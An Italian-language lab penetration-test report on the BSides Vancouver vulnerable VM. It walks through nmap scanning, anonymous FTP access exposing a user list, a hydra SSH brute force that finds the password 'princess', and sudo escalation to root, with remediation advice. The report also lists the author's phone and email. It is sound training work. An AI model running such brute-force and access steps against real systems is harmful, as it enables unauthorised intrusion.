W16D4 – Pratica

Epic Education Srl

BisidesVancouver blackbox

Simone Giordano

28/10/2025

Contatti:

Tel: 3280063044
Email: mynameisimone@gmail.com
Linkedin: https://www.linkedin.com/in/simone-giordano-91290652/

Sommario

Sintesi esecutiva

Sono presenti credenziali FTP deboli che consentono l'accesso alla macchina e l'acquisizione di privilegi root.

Perimetro

VM Blackbox – BsidesVancouver
IP: 192.168.56.101

Panoramica delle vulnerabilità

Credenziali deboli (Brute Force SSH riuscito) – La password individuata durante i test ("princess") è facilmente reperibile in dizionari pubblici e non rispetta criteri di complessità.
Servizio FTP con accesso anonymous – L'abilitazione dell'utente *anonymous* consente l'accesso in lettura e potenzialmente in scrittura a dati sensibili.

Azioni di rimedio

VM Blackbox – BsidesVancouver

FTP

- Disabilitare l'accesso *anonymous* o limitarlo a un'area isolata.
- Abilitare FTPS o SFTP per cifrare i trasferimenti.
- Applicare politiche di password robuste per tutti gli account.

SSH

- Imporre l'uso di password complesse.
- Limitare l'accesso SSH solo da host fidati.

Black Box Pentest

BsidesVancouver

L'IP di Kali è 192.168.56.103.

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d1:f8:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
       valid_lft 545sec preferred_lft 545sec
    inet6 fe80::9772:73aa:7c7:d5fb/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Facendo una scansione sulla rete, l'unica altra Virtual Machine accesa è quella con IP **192.168.56.101**.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 05:37 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify va
lid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.0053s latency).
MAC Address: 0A:00:27:00:00:10 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00049s latency).
MAC Address: 08:00:27:B8:55:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0010s latency).
MAC Address: 08:00:27:10:6D:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.92 seconds
```

Facendo una scansione sulla macchina notiamo 3 porte aperte.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 05:51 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify va
lid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00043s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.5
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 08:00:27:10:6D:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
```

È possibile accedere al servizio FTP con la password **anonymous**.

Al suo interno c'è il file **users.txt.bk** che contiene l'elenco dei seguenti utenti:
abatchy
john
mai
anne
doomguy

Visto che sono pochi ho provato ad accedere con i vari nomi utente; per tutti i permessi vengono rifiutati eccetto per l'utente **anne**, per cui chiede la password. Per questo motivo tento un bruteforce con hydra solo sull'utente **anne**.

Con l'offset più piccolo della lista di password rockyou (rockyou-05.txt) ho individuato rapidamente la password: **princess**

```
┌──(kali㉿kali)-[~/SecLists/Passwords/Leaked-Databases]
└─$ hydra -l anne -P rockyou-05.txt 192.168.56.101 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-16 06:35:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
[DATA] attacking ssh://192.168.56.101:22/
[22][ssh] host: 192.168.56.101   login: anne   password: princess
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-16 06:35:30
```

Questa volta, con la password, riesco ad accedere a ssh.
Una volta dentro, con il comando **sudo -s** e inserendo la password **princess** riesco a diventare utente root!!!!

```
┌──(kali㉿kali)-[/]
└─$ ssh anne@192.168.56.101
anne@192.168.56.101's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu Oct 16 03:37:25 2025 from 192.168.56.103
anne@bsides2018:~$ sudo -s
[sudo] password for anne:
root@bsides2018:~#
```

```
root@bsides2018:/# cd root
root@bsides2018:/root# ls
flag.txt
root@bsides2018:/root# cat flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17
```